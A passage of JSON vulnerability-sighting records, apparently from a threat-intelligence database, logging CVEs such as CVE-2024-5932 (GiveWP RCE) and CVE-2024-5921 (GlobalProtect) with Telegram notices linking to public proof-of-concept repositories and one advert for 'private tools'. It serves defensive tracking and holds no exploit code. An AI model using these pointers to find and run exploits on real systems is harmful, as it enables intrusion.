"146f2ae8-5445-48fb-89e9-13f71e2cc6b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5917", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1423", "content": "", "creation_timestamp": "2024-11-18T04:00:00.000000Z"}, {"uuid": "7ab5a314-144c-4d09-858f-a0f9b9eac815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5919", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1423", "content": "", "creation_timestamp": "2024-11-18T04:00:00.000000Z"}, {"uuid": "9190ece4-e5f0-44fb-b2c0-5f102efd8919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9a244593-1a18-488c-b958-136fe4591610", "content": "", "creation_timestamp": "2026-02-02T12:26:24.793081Z"}, {"uuid": "3755fd2e-f265-4a88-92c7-4b126d1de423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8321", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932  GiveWP PHP Object Injection \nURL\uff1ahttps://github.com/0xb0mb3r/CVE-2024-5932-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-10T04:26:45.000000Z"}, {"uuid": "36c1f778-0573-437c-90b4-9ef76b4b56ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/436", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932\nURL\uff1ahttps://github.com/l8BL/CVE-2024-47066\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-25T05:16:47.000000Z"}, {"uuid": "f41f0832-9134-417e-941a-1f6f864d84b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8363", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPoC for CVE-2024-5932\nURL\uff1ahttps://github.com/EQSTSeminar/CVE-2024-5932\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-25T12:00:03.000000Z"}, {"uuid": "99cc599b-accf-4188-bb69-6bbe48aad362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/cKure/13578", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855.\n\nhttps://infosecwriteups.com/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb", "creation_timestamp": "2024-09-02T04:05:23.000000Z"}, {"uuid": "ed477601-e4aa-4496-af2f-30b57179762b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9307", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-5910 PoC\nURL\uff1ahttps://github.com/Farzan-Kh/CVE-2024-5910\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-04T07:09:02.000000Z"}, {"uuid": "fc0c68d6-c851-4113-9e69-3ab80f484315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8394", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932\nURL\uff1ahttps://github.com/EQSTLab/CVE-2024-5932\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-28T10:21:46.000000Z"}, {"uuid": "37b0956f-21e5-4d57-8613-6c19a055609c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8392", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932\nURL\uff1ahttps://github.com/EQSTLab/CVE-2024-5932-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-28T09:59:57.000000Z"}, {"uuid": "4a3a0802-3f15-4783-870a-a98af12790a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/D5Tu51kSkXbo-9bxr-qOR_ZOPzuIV30YFNBGrLAWHGZFmmE", "content": "", "creation_timestamp": "2025-11-05T09:00:05.000000Z"}, {"uuid": "6102f699-62ba-46db-a6ff-e973509132e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8386", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932 \nURL\uff1ahttps://github.com/sqlmap-projects/CVE-2024-5932\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-28T00:37:13.000000Z"}, {"uuid": "80b092fc-712d-498c-a8ae-a6f9a1f4a491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/GithubRedTeam/8585", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932\nURL\uff1ahttps://github.com/l8BL/CVE-2024-47066\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-24T10:01:15.000000Z"}, {"uuid": "b14b6855-3166-49e6-85e2-56c57cb9651f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8385", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932\nURL\uff1ahttps://github.com/niktoproject/CVE-2024-5932\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-28T00:33:04.000000Z"}, {"uuid": "a331cbef-2525-49a1-a6fe-4cc48145cd02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9411", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2024-5932  GiveWP PHP Object Injection \nURL\uff1ahttps://github.com/TAM-K592/CVE-2024-53677-S2-067\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-13T17:48:29.000000Z"}, {"uuid": "8bb1cbf9-8de4-4d67-bddc-7d8fb5acc505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/hackingbra/192", "content": "CVE-2024-5932 \n*\nWordPress GiveWP POP to RCE\n*\nPOC exploit", "creation_timestamp": "2024-08-29T12:35:29.000000Z"}, {"uuid": "84779110-142d-4b76-be2d-fb172d798f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/six5zeroexploit/68", "content": "Wordpress GiveWP Plugin RCE Exploit (CVE-2024-5932)\n\nIf You Want Private Tools For Good Result DM: https://t.me/NullHextral\nJoin and Share https://t.me/six5zeroexploit", "creation_timestamp": "2024-09-22T10:37:56.000000Z"}, {"uuid": "39195341-0e8a-4055-ab42-a2b481afe412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/6H4jcUE95EKXzm1YwE2bwqiF3BXGONJMZD9T_2IZ_846HqY", "content": "", "creation_timestamp": "2024-12-09T15:44:13.000000Z"}, {"uuid": "de70c746-4f4d-4ea5-92ed-3c36fdb5fcd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4832", "content": "\u200b\u26a1\ufe0fNachoVPN: VPN-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0431\u0435\u0440\u0443\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0441\u0435\u0442\u044f\u043c\u0438\n\n\ud83d\udcac \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b AmberWolf \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 SonicWall NetExtender \u0438 Palo Alto Networks GlobalProtect, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 NachoVPN. \u041e\u0448\u0438\u0431\u043a\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c VPN-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c. \u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u0438\u043b\u0438 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b.\n\n\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0443\u0440\u043e\u0432\u043d\u044f Root \u0438\u043b\u0438 SYSTEM, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043f\u043e\u0434\u0434\u0435\u043b\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c MiTM-\u0430\u0442\u0430\u043a\u0438, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0443\u0434\u0435\u043b\u0435\u043d\u043e SSL-VPN \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c Zero Trust, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438.\n\n\u0414\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0430\u0442\u0430\u043a \u0431\u044b\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 NachoVPN, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 (Proof of Concept, PoC) \u0438 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 VPN-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 VPN-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect \u0438 Ivanti Connect Secure. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 NachoVPN \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0430\u0434\u0430\u043f\u0442\u0430\u0446\u0438\u044e \u043f\u043e\u0434 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 VPN-\u043a\u043b\u0438\u0435\u043d\u0442 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f NachoVPN \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\nCVE-2024-5921 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 5.6) \u0432 Palo Alto GlobalProtect, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\nCVE-2024-29014 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) \u0432 SonicWall SMA100 NetExtender \u0434\u043b\u044f Windows, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 SYSTEM \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043e \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445. \u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\nSonicWall \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e NetExtender 10.2.341 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 Palo Alto Networks \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 FIPS-CC \u0442\u0430\u043a\u0436\u0435 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u0430\u0442\u0430\u043a. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u043b\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0441\u0442\u0438\u0447\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 GlobalProtect 6.2.6 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0435\u0442\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u0447\u0435\u0442\u044b AmberWolf. \u041e\u043d\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432 \u0430\u0442\u0430\u043a \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-11-27T10:48:48.000000Z"}, {"uuid": "d16401bc-cc5a-400a-a8c9-2166dff0e15a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5917", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1885", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5917\n\ud83d\udd39 Description: A server-side request forgery in PAN-OS software enables an authenticated attacker with administrative privileges to use the administrative web interface as a proxy, which enables the attacker to view internal network resources not otherwise accessible.\n\ud83d\udccf Published: 2024-11-14T09:39:40.266Z\n\ud83d\udccf Modified: 2025-01-15T22:24:12.795Z\n\ud83d\udd17 References:\n1. https://security.paloaltonetworks.com/CVE-2024-5917", "creation_timestamp": "2025-01-15T22:55:14.000000Z"}, {"uuid": "4d9a3a4b-ed5f-428b-88de-d62c87750d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4828", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5921\n\ud83d\udd25 CVSS Score: 6 (cvssV4_0, Vector: CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H/AU:N/R:U/V:D/RE:M/U:Amber)\n\ud83d\udd39 Description: An insufficient certification validation issue in the Palo Alto Networks GlobalProtect app enables attackers to connect the GlobalProtect app to arbitrary servers. This can enable a local non-administrative operating system user or an attacker on the same subnet to install malicious root certificates on the endpoint and subsequently install malicious software signed by the malicious root certificates on that endpoint.\n\nPlease subscribe to  our RSS feed https://security.paloaltonetworks.com/rss.xml  to be alerted to new updates to this and other advisories.\n\ud83d\udccf Published: 2024-11-27T03:50:13.596Z\n\ud83d\udccf Modified: 2025-02-20T22:30:01.359Z\n\ud83d\udd17 References:\n1. https://security.paloaltonetworks.com/CVE-2024-5921\n2. https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/\n3. https://github.com/AmberWolfCyber/NachoVPN", "creation_timestamp": "2025-02-20T23:17:03.000000Z"}, {"uuid": "97cd8253-a42a-4730-8a55-ba1a54407a36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 